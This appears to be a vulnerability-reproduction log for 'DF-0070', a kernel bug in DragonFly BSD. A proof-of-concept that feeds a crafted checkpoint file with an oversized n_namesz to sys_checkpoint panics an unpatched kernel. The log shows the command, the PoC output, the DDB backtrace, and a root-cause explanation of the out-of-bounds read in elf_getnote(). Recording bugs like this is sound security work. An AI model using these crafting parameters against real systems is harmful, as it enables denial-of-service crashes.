=== DF-0070 BASELINE PANIC (unpatched kernel #0) ===
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026 (X86_64_GENERIC)
Command (root):  cd /tmp/df70 && ./df0070 evil.ckpt   (panic mode, n_namesz=0x10000000)

PoC output before ssh died:
  [*] DF-0070 PoC: building evil.ckpt  (notesz=880, n_namesz=0x10000000, n_descsz=120, mode=panic)
  [*] calling sys_checkpoint(CKPT_THAW, fd=3, pid=-1, retval=0) [syscall #467]...
  <ssh session never returned -- guest in DDB; vm.sh status => down>

Panic signature (from dfbsd-qemu/boot.log):
  login: panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
  cpuid = 0
  Trace beginning at frame 0xfffff80117251338
  vm_object_hold_shared() at vm_object_hold_shared+0x3f 0xffffffff809ab9bf
  vm_object_hold_shared() at vm_object_hold_shared+0x3f 0xffffffff809ab9bf
  vm_fault() at vm_fault+0x408 0xffffffff8099e0b8
  trap_pfault() at trap_pfault+0x9a 0xffffffff80bd52ca
  trap() at trap+0x17c 0xffffffff80bd5bcc
  calltrap() at calltrap+0x9 0xffffffff80b991fa
  --- trap 000000000000000c, rip = ffffffff80bca928, rsp = fffff80117251750, rbp = fffff801172517b8 ---
  memmove() at memmove+0x28 0xffffffff80bca928
  Debugger("panic")
  db>

trap 0xc == T_PAGEFLT (kernel-mode page fault).
memmove+0x28 is the inner bcopy/memmove backing the OOB descriptor read at
sys/kern/kern_checkpoint.c:346 in elf_getnote().  The crafted n_namesz=0x10000000
advanced *off to 0x1000000c (256 MB past the 880-byte kmalloc'd note buffer),
so the bcopy read from unmapped KVM and page-faulted.